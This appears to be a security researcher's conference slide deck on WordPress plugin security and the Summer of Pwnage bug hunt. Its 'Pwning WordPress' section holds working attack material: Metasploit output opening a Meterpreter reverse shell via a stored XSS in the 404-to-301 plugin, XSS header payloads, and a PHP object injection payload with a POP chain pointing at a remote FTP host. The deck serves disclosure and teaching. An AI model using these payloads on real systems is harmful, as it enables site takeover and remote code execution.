The State of Security of WordPress (plugins)

Yorick Koster
Contents

• About Me
• Summer of Pwnage
• State of Security
• Pwning WordPress
About Me

• Yorick Koster
• Co-Founder Securify
  Proactive Software Security / Build Security In

• ~15 years doing software security
• Uncovered vulnerabilities in various products
Summer of Pwnage
Summer of Pwnage

- Started as joke
- Used Github to find Object Injection
- We didn’t know how to run a con (still don’t 😆)
Summer of Pwnage

• Month of WordPress hacking
• Meetup every week
• VM with WordPress & ~1000 plugins/themes
• For students & people w little experience
• ~25-30 active participants
• Resulted in 118 findings (5 Core)

https://www.sumofpwn.nl/advisories.html
https://twitter.com/sumofpwn
Summer of Pwnage Results

Cross-Site Scripting 66%
Cross-Site Request Forgery 12%
PHP Object Injection 8%
Other 14%

Denial of Service 3%
Authentication Bypass 2%
Misc 2%
Local File Inclusion 3%
(Remote) Code Execution 4%

Summer of XSS 😎
Summer of Pwnage
Results

- CSRF: 65%
- Pre-auth: 23%
- Privilege escalation: 12%
Summer of Pwnage Results

- Fixed: 70
- Open: 50
- No fix: 10
Summer of Pwnage
Media coverage

Serious flaw fixed in widely used WordPress plug-in

WordPress : Une sérieuse faille corrigée dans un plug-in SEO

Website Takeover Issue Fixed in WordPress' Most Popular Plugin
Summer of Pwnage Observations

• Focus on low hanging fruit
• Grep is king
• Getting stuff fixed is hard
• Security knowledge plugins writers is low
WordPress (Plugins)

State of Security
WordPress Security
Core

- WordPress is blog software with CMS features
- Powers ~27% of all websites (reportedly)
- Focus on who can edit which content
  - Content is either published or not*
  - Media can be enumerated*
WordPress Security Core

- Seems like they’ve learned the hard way
- Core is relative secure (appear to know their stuff)
  - Filtering/validation
  - Anti-CSRF (nonces)
  - Automatic updates 😊
- (Legacy) issues
  - No prepared statements
  - Salted MD5 passwords
  - Login brute force
  - Not designed for CSP
WordPress Security Plugins

• Vulnerabilities in only \(\sim 100\) plugins of 1000 popular plugins (10%)

• Keep in mind:
  – Limited (spare) time
  – Focus on low hanging fruit
WordPress Security Plugins

• Some APIs are secure by default
  – Eg, prevent SQLi
• Some are not
  – Output encoding
  – CSRF protection
• High number of XSS & CSRF issues

```php
get_post( int|WP_Post|null $post = null, string $output = OBJECT, string $filter = 'raw' )
Retrieves post data given a post ID or post object.
```
function column_default($item, $column_name)
{
    $item = apply_filters('ull-output-data', $item);
    //unset existing filter and pagination
    $args = wp_parse_args( parse_url($_SERVER['REQUEST_URI'], PHP_URL_QUERY) );
    unset($args['filter']);
    unset($args['paged']);
    switch($column_name){
        case 'id':
            case 'uid':
            case 'time':
                case 'data':
                    return $item[$column_name];
                case 'image':
                    $user = new WP_User( $item['uid'] );
                    $user_email = $user->user_email;
                    return get_avatar( $user_email, 60 );
                case 'user_email':
                    return $item[$column_name];
        case 'ip':
            return $item[$column_name];
    }
}
WordPress Security
Plugins (XSS)
We're sorry for the inconvenience, we will fix this right away.

We will need to have access to your ftp information so we can login and look into this, can you please provide us with login credentials?

Can you help me understand why json_encode/json_decode is superior to using serialize/unserialize?

Can you at least explain me the damage it could create?

Is there a reason a WordPress nonce isn't sufficient for this security concern?

[...] is called by a Wordpress add_menu_page, in theory it is Wordpress that has filter the input when calling the page.
WordPress Security Summary

• WordPress Core is relative secure
• Core has known (legacy) issues
• Lots of insecure plugins
  – Dangerous APIs
  – Low security awareness
  – Mostly XSS & CSRF
Pwning WordPress

```
msf > use exploit/multi/http/wp_404-to-301_xss
msf exploit(wp_404-to-301_xss) > set RHOST 192.168.146.137
RHOST => 192.168.146.137
msf exploit(wp_404-to-301_xss) > set LHOST 192.168.146.197
LHOST => 192.168.146.197
msf exploit(wp_404-to-301_xss) > exploit
[*] Exploit running as background job.
[*] Started reverse TCP handler on 192.168.146.197:4444
msf exploit(wp_404-to-301_xss) > [X] 192.168.146.137:88 - Exploiting Cross-Site Scripting in 404-to-301 plugin
[*] Using URL: http://0.0.0.0:8080/
[*] Local IP: http://172.16.0.139:8080/
[*] Server started.
[*] Sending stage (33068 bytes) to 192.168.146.137
[*] Meterpreter session 1 opened (192.168.146.197:4444 -> 192.168.146.137:46088) at 2016-07-21 17:41:53 +0200
[*] Server stopped.
```
Pwning WordPress
Cross-Site Scripting

Vulnerability Description/Technical Details

A Stored Cross-Site Scripting vulnerability exists in the 404-to-301
Wordpress plugin.

The vulnerability exists in the file admin/class-404-to-301-logs.php
which fails to correctly escape user-controlled strings which are
output in HTML tables containing logs shown to site administrators,
such as the Referer ('ref') and User-Agent ('ua') fields.

Vulnerability/Configuration Requirements

In order to exploit this issue, after an attack attempt has been made,
an administrator must view the logs (via the Wordpress administration
console) provided by the plugin, by clicking '404 Error Logs'.

Proof of concept

Submit an HTTP request to a non-existant URL (to trigger the 404
handler) containing a header such as one of the following:

Referer: "<iframe src="/"></iframe>
User-Agent: "<script>alert(/hi/);</script>"
Pwning WordPress Cross-Site Scripting
Pwning WordPress Cross-Site Scripting

• Inject XSS payload

• Wait for admin to visit vulnerable page

• Run 2nd stage JavaScript payload to:
  – modify PHP file;
  – visit PHP file;
  – run PHP Meterpreter client.
Pwning WordPress
Cross-Site Scripting

msf > use exploit/multi/http/wp_404-to-301_xss
msf exploit(wp_404-to-301_xss) > set RHOST 192.168.146.137
RHOST => 192.168.146.137
msf exploit(wp_404-to-301_xss) > set LHOST 192.168.146.197
LHOST => 192.168.146.197
msf exploit(wp_404-to-301_xss) > exploit
[*] Exploit running as background job.

[*] Started reverse TCP handler on 192.168.146.197:4444
msf exploit(wp_404-to-301_xss) > [*] 192.168.146.137:80 - Exploiting Cross-Site Scripting in 404-to-301 plugin
[*] Using URL: http://0.0.0.0:8080/
[*] Local IP: http://172.16.0.139:8080/
[*] Server started.
[*] Sending stage (33068 bytes) to 192.168.146.137
[*] Meterpreter session 1 opened (192.168.146.197:4444 -> 192.168.146.137:46888) at 2016-07-21 17:41:53 +0200
[*] Server stopped.
Pwning WordPress Hardening

• If you don’t need the editor, disable it
• More hardening:
  
  https://codex.wordpress.org/Hardening_WordPress

Disable File Editing

The WordPress Dashboard by default allows administrators to edit PHP files, such as plugin and theme files. This is often the first tool an attacker will use if able to login, since it allows code execution. WordPress has a constant to disable editing from Dashboard.

Placing this line in wp-config.php is equivalent to removing the 'editThemes', 'editPlugins' and 'editFiles' capabilities of all users:

```php
define('DISALLOW_FILE_EDIT', true);
```

This will not prevent an attacker from uploading malicious files to your site, but might stop some attacks.
Pwning WordPress
PHP Object Injection

Your Google forms on your WordPress site!

---

// Need the action which was saved during form construction
$action = unserialize(base64_decode($_POST['wpgform-action']));
unset($_POST['wpgform-action']);
$options = $_POST['wpgform-options'];
unset($_POST['wpgform-options']);
$options = unserialize(base64_decode($options));
<?php

class Example1 {
    public $cache_file;
    function __construct() {
        // some PHP code...
    }

    function __destruct() {
        $file = "/var/www/cache/tmp/{$this->cache_file}";
        if (file_exists($file)) @unlink($file);
    }

    // some PHP code...
    $user_data = unserialize($_GET['data']);
    // some PHP code...
}

http://testsite.com/vuln.php?data=O:8:"Example1":1:{s:10:"cache_file";s:15:"../..//index.php";}
Pwning WordPress

PHP Object Injection

- Find the right target
- Direct:
  - __destruct()
  - __wakeup()
- Indirect:
  - __toString()
  - __call()
  - __set()
  - __get()
- Autoloading:
  - spl_autoload_register()
Pwning WordPress
PHP Object Injection

• No easy exploitable class in WordPress
• Find the correct POP chain
• POP chain presented by Sam Thomas
  http://www.slideshare.net/_s_n_t/php-unserialization-vulnerabilities-what-are-we-missing
• Attack still works in latest version (4.6.1)
• Uses WP_Theme::__toString() as start point
Pwning WordPress
PHP Object Injection

```php
/**
 * Makes a function, which will return the right translation index, according to the
 * plural forms header
 * @param int $nplurals
 * @param string $expression
 */
function make_plural_form_function($nplurals, $expression) {
    $expression = str_replace('n', '$n', $expression);
    $func_body = "
        \$index = (int)\$expression;
        return (\$index < \$nplurals)? \$index : \$nplurals - 1;"
    return create_function('\$n', $func_body);
}
```
**Pwning WordPress**

**PHP Object Injection**

---

**is_readable**

*(PHP 4, PHP 5, PHP 7)*

*is_readable* — Tells whether a file exists and is readable

**Description**

```php
bool is_readable ( string $filename )
```

Tells whether a file exists and is readable.

---

**Tip** As of PHP 5.0.0, this function can also be used with some URL wrappers. Refer to [Supported Protocols and Wrappers](https://owasp.org/www-community/vulnerabilities/../../../../search.php?query=Supported%20Protocols%20and%20Wrappers) to determine which wrappers support `stat()` family of functionality.
# Pwning WordPress

## PHP Object Injection

### Wrapper Summary

<table>
<thead>
<tr>
<th>Attribute</th>
<th>Supported</th>
</tr>
</thead>
<tbody>
<tr>
<td>Restricted by <code>allow_url_fopen</code></td>
<td>Yes</td>
</tr>
<tr>
<td>Allows Reading</td>
<td>Yes</td>
</tr>
<tr>
<td>Allows Writing</td>
<td>No</td>
</tr>
<tr>
<td>Allows Appending</td>
<td>No</td>
</tr>
<tr>
<td>Allows Simultaneous Reading and Writing</td>
<td>N/A</td>
</tr>
<tr>
<td>Supports <code>stat()</code></td>
<td>No</td>
</tr>
<tr>
<td>Supports <code>unlink()</code></td>
<td>No</td>
</tr>
<tr>
<td>Supports <code>rename()</code></td>
<td>No</td>
</tr>
<tr>
<td>Supports <code>mkdir()</code></td>
<td>No</td>
</tr>
<tr>
<td>Supports <code>rmdir()</code></td>
<td>No</td>
</tr>
</tbody>
</table>
Pwning WordPress
PHP Object Injection

<table>
<thead>
<tr>
<th>Attribute</th>
<th>PHP 4</th>
<th>PHP 5</th>
</tr>
</thead>
<tbody>
<tr>
<td>Restricted by <em>allow_url_fopen</em></td>
<td>Yes</td>
<td>Yes</td>
</tr>
<tr>
<td>Allows Reading</td>
<td>Yes</td>
<td>Yes</td>
</tr>
<tr>
<td>Allows Writing</td>
<td>Yes (new files only)</td>
<td>Yes (new files/existing files with <strong>overwrite</strong>)</td>
</tr>
<tr>
<td>Allows Appending</td>
<td>No</td>
<td>Yes</td>
</tr>
<tr>
<td>Allows Simultaneous Reading and Writing</td>
<td>No</td>
<td>No</td>
</tr>
<tr>
<td>Supports <strong>stat()</strong></td>
<td>No</td>
<td>As of PHP 5.0.0: <code>filesize()</code>, <code>filetype()</code>, <code>file_exists()</code>, <code>is_file()</code>, and <code>is_dir()</code> elements only. As of PHP 5.1.0: <code>filemtime()</code></td>
</tr>
<tr>
<td>Supports <strong>unlink()</strong></td>
<td>No</td>
<td>Yes</td>
</tr>
<tr>
<td>Supports <strong>rename()</strong></td>
<td>No</td>
<td>Yes</td>
</tr>
<tr>
<td>Supports <strong>mkdir()</strong></td>
<td>No</td>
<td>Yes</td>
</tr>
<tr>
<td>Supports <strong>rmdir()</strong></td>
<td>No</td>
<td>Yes</td>
</tr>
</tbody>
</table>

Also works for ssh2.sftp://
Pwnning WordPress
PHP Object Injection

• Final object

WP_Theme Object
(
    [theme_root:WP_Theme:private] => ftp://anonymous:foobar@1.2.3.4
    [headers:WP_Theme:private] => Array
        (
            [Name] => foo
            [TextDomain] => default
        )
    [stylesheet:WP_Theme:private] => foobar
)
Questions?

yorick.koster@securify.nl
@yorickkoster / @securifybv